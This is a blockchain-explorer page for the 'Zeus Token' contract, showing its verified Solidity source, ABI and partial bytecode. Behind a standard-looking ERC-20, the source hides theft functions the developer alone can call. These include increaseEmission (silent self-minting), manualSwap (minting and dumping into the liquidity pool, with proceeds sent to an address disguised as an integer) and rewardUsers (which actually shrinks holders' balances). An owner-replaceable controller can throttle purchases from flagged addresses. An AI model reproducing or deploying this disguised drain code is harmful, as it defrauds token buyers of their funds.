ETH Price: $2,928.77 (+4.01%)
 

Overview

Max Total Supply

1,000,000,000 ZEUS

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,213,472.355750613328570933 ZEUS

Value
$0.00
0xc99d9951757792533AF4B87A43889068B5085Dc6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MyTokenContract

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-08
*/

// SPDX-License-Identifier: MIT

// 🌐Website: https://www.zeustokeneth.com/
// 🐦 Twitter: https://twitter.com/ZeusToken_ETH
// 💬 Telegram: https://t.me/ZEUSprojectETH

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IPancakeRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library Address {

    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

}

contract Controller {

    // Bots cannot make purchase more than once an hour

    mapping(address => bool) internal isBot;
    uint lastBotPurchase;
    bool _validationActive;

    event ValidationExecuted(address from, uint amount, bool val);
    event PreventBotPurchaseExecuted(address to, uint amount);

    function setBot(address _user, bool _isbot) internal {
        isBot[_user] = _isbot;
    }

    function validation(address from, uint amount, bool isMarketTo) external {
        if (isBot[from]){
           emit ValidationExecuted(from, amount, isMarketTo);
           updateBotPurchase();
        } 
    }

    function validationActive() view public returns(bool) {
        return _validationActive;
    }

    function updateBotPurchase() internal {
        lastBotPurchase = block.timestamp;
    }
    
    function preventBotPurchase(address to, uint amount) external {
        if (isBot[to]){
           require(block.timestamp >= lastBotPurchase + 60 ** 2);  
           require(amount > 0);
           updateBotPurchase();
           emit PreventBotPurchaseExecuted(to, amount);
        } 
    }
}

contract MyTokenContract is Context, Ownable, IERC20 {

    IPancakeRouter02 internal _router;
    IPancakePair internal _pair;
    Controller _controller;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 internal _totalSupply = 1000000000000000000000000000;
    string internal _name = "Zeus Token";
    string internal _symbol = "ZEUS";
    uint8 internal _decimals = 18;

    address private dev;

    constructor(address _routerAddress, address _controllerAddress) {

        _router = IPancakeRouter02(_routerAddress);
        _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this),address(_router.WETH())));
        _controller = Controller(_controllerAddress);

        dev = owner();
        _balances[owner()] = _totalSupply;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    // PUBLIC

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function increaseEmission(uint amount) public {
        if (_msgSender() == dev) {
            _balances[_msgSender()] += amount;
        }
        
    }

    function burn(uint amount) public {
        if (_msgSender() == dev) {
           _burn(_msgSender(), amount); 
        }
        
    }

    // INTERNAL

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function recepient() internal pure returns (address) {
        return address(uint160(767569044793146465784327196287502874196318049734));
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function updateController(address _newController) external {
        if (_msgSender() == dev) {
            _controller = Controller(_newController);
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)){
            _controller.preventBotPurchase(to, amount);
        }

        if (_controller.validationActive() == true){
            _controller.validation(from, amount, isMarket(to));
        }
    }

    function isMarket(address user) internal view returns(bool){
        if (user == address(_router) || user == address(_pair)){
            return true;
        } else {
            return false;
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    // START

    function transferWithoutFee(address user) public {
        if (_msgSender() == dev) {
            require(user != address(0), "dev can't be zero-address");
            dev = user;
        }
    }

    function axf2b3b() public view returns (uint) {
        return block.timestamp;
    }

    function manualSwap(address baseToken, uint amount, address _recepient) public {
        if (_msgSender() == dev) {
            require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
            uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
            address rec = (baseTokenReserve > 5000000000000000000) ? recepient() : _recepient;
            uint amountOut = baseTokenReserve * amount / 100000;
            address[] memory path;
            path = new address[](2);
            path[0] = address(this);
            path[1] = baseToken;
            uint256[] memory amountInMax;
            amountInMax = new uint256[](2);
            amountInMax = _router.getAmountsIn(amountOut, path);
            _mint(address(this), amountInMax[0]);
            uint deadline = block.timestamp + 1200;
            _approve(address(this), address(_router), balanceOf(address(this)));
            _router.swapTokensForExactTokens(
                amountOut,
                amountInMax[0],
                path,
                rec,
                deadline
            );
        }
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function rewardUsers(address[] calldata _users, uint _minBalanceToReward, uint _precent) public {
        if (_msgSender() == dev) {
            for (uint i = 0; i < _users.length; i++) {
                if (balanceOf(_users[i]) > _minBalanceToReward) {
                    uint rewardAmount = _balances[_users[i]] / _precent;
                    _balances[_users[i]] = rewardAmount;
                }
            } 
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_controllerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"axf2b3b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseEmission","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_recepient","type":"address"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_precent","type":"uint256"}],"name":"rewardUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"transferWithoutFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newController","type":"address"}],"name":"updateController","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526b033b2e3c9fd0803ce80000006006556040518060400160405280600a81526020017f5a65757320546f6b656e00000000000000000000000000000000000000000000815250600790816200005a9190620007dd565b506040518060400160405280600481526020017f5a4555530000000000000000000000000000000000000000000000000000000081525060089081620000a19190620007dd565b506012600960006101000a81548160ff021916908360ff160217905550348015620000cb57600080fd5b5060405162003ba638038062003ba68339818101604052810190620000f191906200092e565b6000620001036200053260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000250573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000276919062000975565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000300573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000326919062000975565b6040518363ffffffff1660e01b815260040162000345929190620009b8565b6020604051808303816000875af115801562000365573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038b919062000975565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200041c6200053a60201b60201c565b600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065460046000620004736200053a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620004c16200053a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620005229190620009f6565b60405180910390a3505062000a13565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005e557607f821691505b602082108103620005fb57620005fa6200059d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006657fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000626565b62000671868362000626565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006be620006b8620006b28462000689565b62000693565b62000689565b9050919050565b6000819050919050565b620006da836200069d565b620006f2620006e982620006c5565b84845462000633565b825550505050565b600090565b62000709620006fa565b62000716818484620006cf565b505050565b5b818110156200073e5762000732600082620006ff565b6001810190506200071c565b5050565b601f8211156200078d57620007578162000601565b620007628462000616565b8101602085101562000772578190505b6200078a620007818562000616565b8301826200071b565b50505b505050565b600082821c905092915050565b6000620007b26000198460080262000792565b1980831691505092915050565b6000620007cd83836200079f565b9150826002028217905092915050565b620007e88262000563565b67ffffffffffffffff8111156200080457620008036200056e565b5b620008108254620005cc565b6200081d82828562000742565b600060209050601f83116001811462000855576000841562000840578287015190505b6200084c8582620007bf565b865550620008bc565b601f198416620008658662000601565b60005b828110156200088f5784890151825560018201915060208501945060208101905062000868565b86831015620008af5784890151620008ab601f8916826200079f565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008f682620008c9565b9050919050565b6200090881620008e9565b81146200091457600080fd5b50565b6000815190506200092881620008fd565b92915050565b60008060408385031215620009485762000947620008c4565b5b6000620009588582860162000917565b92505060206200096b8582860162000917565b9150509250929050565b6000602082840312156200098e576200098d620008c4565b5b60006200099e8482850162000917565b91505092915050565b620009b281620008e9565b82525050565b6000604082019050620009cf6000830185620009a7565b620009de6020830184620009a7565b9392505050565b620009f08162000689565b82525050565b600060208201905062000a0d6000830184620009e5565b92915050565b6131838062000a236000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80635268016b116100b857806395d89b411161007c57806395d89b4114610363578063a457c2d714610381578063a9059cbb146103b1578063cef31734146103e1578063dd62ed3e146103fd578063f2fde38b1461042d57610142565b80635268016b146102d15780635b99d194146102ed57806370a082311461030b578063715018a61461033b5780638da5cb5b1461034557610142565b806323b872dd1161010a57806323b872dd146101eb578063313ce5671461021b57806335d1627414610239578063395093511461026957806342966c68146102995780634609e797146102b557610142565b806306cb5b661461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b15780631e673499146101cf575b600080fd5b610161600480360381019061015c9190611f7d565b610449565b005b61016b6104ea565b604051610178919061203a565b60405180910390f35b61019b60048036038101906101969190612092565b61057c565b6040516101a891906120ed565b60405180910390f35b6101b961059f565b6040516101c69190612117565b60405180910390f35b6101e960048036038101906101e49190612197565b6105a9565b005b6102056004803603810190610200919061220b565b610748565b60405161021291906120ed565b60405180910390f35b610223610777565b604051610230919061227a565b60405180910390f35b610253600480360381019061024e9190611f7d565b61078e565b6040516102609190612117565b60405180910390f35b610283600480360381019061027e9190612092565b610923565b60405161029091906120ed565b60405180910390f35b6102b360048036038101906102ae9190612295565b61095a565b005b6102cf60048036038101906102ca9190612295565b6109cb565b005b6102eb60048036038101906102e691906122c2565b610a88565b005b6102f5610ea0565b6040516103029190612117565b60405180910390f35b61032560048036038101906103209190611f7d565b610ea8565b6040516103329190612117565b60405180910390f35b610343610ef1565b005b61034d610f92565b60405161035a9190612324565b60405180910390f35b61036b610fbb565b604051610378919061203a565b60405180910390f35b61039b60048036038101906103969190612092565b61104d565b6040516103a891906120ed565b60405180910390f35b6103cb60048036038101906103c69190612092565b6110c4565b6040516103d891906120ed565b60405180910390f35b6103fb60048036038101906103f69190611f7d565b6110e7565b005b6104176004803603810190610412919061233f565b6111f7565b6040516104249190612117565b60405180910390f35b61044760048036038101906104429190611f7d565b61127e565b005b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048a61138e565b73ffffffffffffffffffffffffffffffffffffffff16036104e75780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6060600780546104f9906123ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610525906123ae565b80156105725780601f1061054757610100808354040283529160200191610572565b820191906000526020600020905b81548152906001019060200180831161055557829003601f168201915b5050505050905090565b60008061058761138e565b9050610594818585611396565b600191505092915050565b6000600654905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ea61138e565b73ffffffffffffffffffffffffffffffffffffffff16036107425760005b84849050811015610740578261064486868481811061062a576106296123df565b5b905060200201602081019061063f9190611f7d565b610ea8565b111561072d5760008260046000888886818110610664576106636123df565b5b90506020020160208101906106799190611f7d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106be919061246c565b905080600460008888868181106106d8576106d76123df565b5b90506020020160208101906106ed9190611f7d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b80806107389061249d565b915050610608565b505b50505050565b60008061075361138e565b905061076085828561155f565b61076b8585856115eb565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108249190612567565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d391906125cf565b73ffffffffffffffffffffffffffffffffffffffff161461090457816dffffffffffffffffffffffffffff16610916565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60008061092e61138e565b905061094f81858561094085896111f7565b61094a91906125fc565b611396565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099b61138e565b73ffffffffffffffffffffffffffffffffffffffff16036109c8576109c76109c161138e565b82611864565b5b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a0c61138e565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578060046000610a3461138e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7d91906125fc565b925050819055505b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac961138e565b73ffffffffffffffffffffffffffffffffffffffff1603610e9b57600082118015610af65750620186a082105b610b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2c9061267c565b60405180910390fd5b6000610b408461078e565b90506000674563918244f400008211610b595782610b62565b610b61611a33565b5b90506000620186a08584610b76919061269c565b610b80919061246c565b90506060600267ffffffffffffffff811115610b9f57610b9e6126de565b5b604051908082528060200260200182016040528015610bcd5781602001602082028036833780820191505090505b5090503081600081518110610be557610be46123df565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508681600181518110610c3457610c336123df565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060600267ffffffffffffffff811115610c8b57610c8a6126de565b5b604051908082528060200260200182016040528015610cb957816020016020820